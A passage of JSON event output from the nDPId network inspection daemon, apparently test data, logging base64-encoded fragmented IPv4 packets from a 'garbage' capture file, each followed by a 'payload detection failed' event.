+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1975,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":522730,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgwEAGRPEKAAACCoAAAipPUHsiOmhkZmxrZGE+TDw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1975,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1976,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":522742,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgwkAGRO8KAAACCoAAAk1OQkhHRkRFVyNAJCVeSEI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1976,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1977,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":522754,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgxEAGRO0KAAACCoAAAkdWCjQyMTQ2MzE5ODIwNTE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1977,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1978,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":522766,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgxkAGROsKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1978,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1979,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":522778,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgyEAGROkKAAACCoAAAiomXiUkI3JzZGx1aGdrZmQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1979,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1980,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":522790,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgykAGROcKAAACCoAAAnNia252Yy8udGdmdGc\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1980,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1981,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":522801,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgzEAGROUKAAACCoAAAj9HUj9zUj83NDgzOTYpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1981,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1982,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":522814,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgzkAGROMKAAACCoAAAiZeJSQjQCFAIyQlXiYqKCk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1982,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1983,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":522829,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg0EAGROEKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1983,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1984,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":522841,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg0kAGRN8KAAACCoAAAiZeJSQjJiooS0lKSEdGRDI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1984,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1985,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":522853,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg1EAGRN0KAAACCoAAAiomREZHSEpLJl4lJCMjRVQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1985,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1986,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":522864,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg1kAGRNsKAAACCoAAAlIlWV5VJkkqT1B7IjpoZGY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1986,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1987,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":522876,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg2EAGRNkKAAACCoAAAmxrZGE+TDxNTkJIR0ZERVc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1987,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1988,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":522888,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg2kAGRNcKAAACCoAAAiNAJCVeSEJHVgo0MjE0NjM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1988,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1989,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":522900,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg3EAGRNUKAAACCoAAAjE5ODIwNTEpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1989,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1990,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":522912,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg3kAGRNMKAAACCoAAAiMkJV4mKigqJl4lJCNyc2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1990,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1991,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":522927,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg4EAGRNEKAAACCoAAAmx1aGdrZmRzYmtudmMvLnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1991,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1992,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":522939,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg4kAGRM8KAAACCoAAAmdmdGc\/R1I\/R1I\/c1I\/NzQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1992,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1993,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":522951,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg5EAGRM0KAAACCoAAAjgzOTYpKComXiUkI0AhQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1993,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1994,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":522962,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg5kAGRMsKAAACCoAAAiQlXiYqKCkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1994,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1995,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":522974,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg6EAGRMkKAAACCoAAAiQlXiYqKComXiUkIyYqKEs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1995,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1996,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":522985,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg6kAGRMcKAAACCoAAAklKSEdGRDIqJkRGR0hKSyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1996,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1997,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":522998,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg7EAGRMUKAAACCoAAAl4lJCMjRVRSJVleVSZJKk8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1997,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1998,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":523009,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg7kAGRMMKAAACCoAAAlB7IjpoZGZsa2RhPkw8TU4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1998,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1999,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":523021,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg8EAGRMEKAAACCoAAAkJIR0ZERVcjQCQlXkhCR1Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1999,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2000,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":523033,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg8kAGRL8KAAACCoAAAgo0MjE0NjMxOTgyMDUxKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2000,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2001,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":523047,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg9EAGRL0KAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2001,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2002,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":523058,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg9kAGRLsKAAACCoAAAl4lJCNyc2RsdWhna2Zkc2I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2002,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2003,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":523072,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg+EAGRLkKAAACCoAAAmtudmMvLnRnZnRnP0dSP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2003,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2004,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":523084,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg+kAGRLcKAAACCoAAAlI\/c1I\/NzQ4Mzk2KSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2004,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2005,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":523096,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg\/EAGRLUKAAACCoAAAiUkI0AhQCMkJV4mKigpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2005,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2006,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":523107,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg\/kAGRLMKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2006,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2007,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":523121,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhAEAGRLEKAAACCoAAAiUkIyYqKEtJSkhHRkQyKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2007,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2008,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":523133,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhAkAGRK8KAAACCoAAAkRGR0hKSyZeJSQjI0VUUiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2008,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2009,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":523147,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhBEAGRK0KAAACCoAAAlleVSZJKk9QeyI6aGRmbGs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2009,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2010,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":523159,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhBkAGRKsKAAACCoAAAmRhPkw8TU5CSEdGREVXI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2010,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2011,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":523172,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhCEAGRKkKAAACCoAAAiQlXkhCR1YKNDIxNDYzMTk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2011,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2012,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":523216,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhCkAGRKcKAAACCoAAAjgyMDUxKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2012,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2013,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":523229,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhDEAGRKUKAAACCoAAAiVeJiooKiZeJSQjcnNkbHU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2013,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2014,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":523241,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhDkAGRKMKAAACCoAAAmhna2Zkc2JrbnZjLy50Z2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2014,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2015,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":523252,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhEEAGRKEKAAACCoAAAnRnP0dSP0dSP3NSPzc0ODM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2015,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2016,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":523264,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhEkAGRJ8KAAACCoAAAjk2KSgqJl4lJCNAIUAjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2016,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 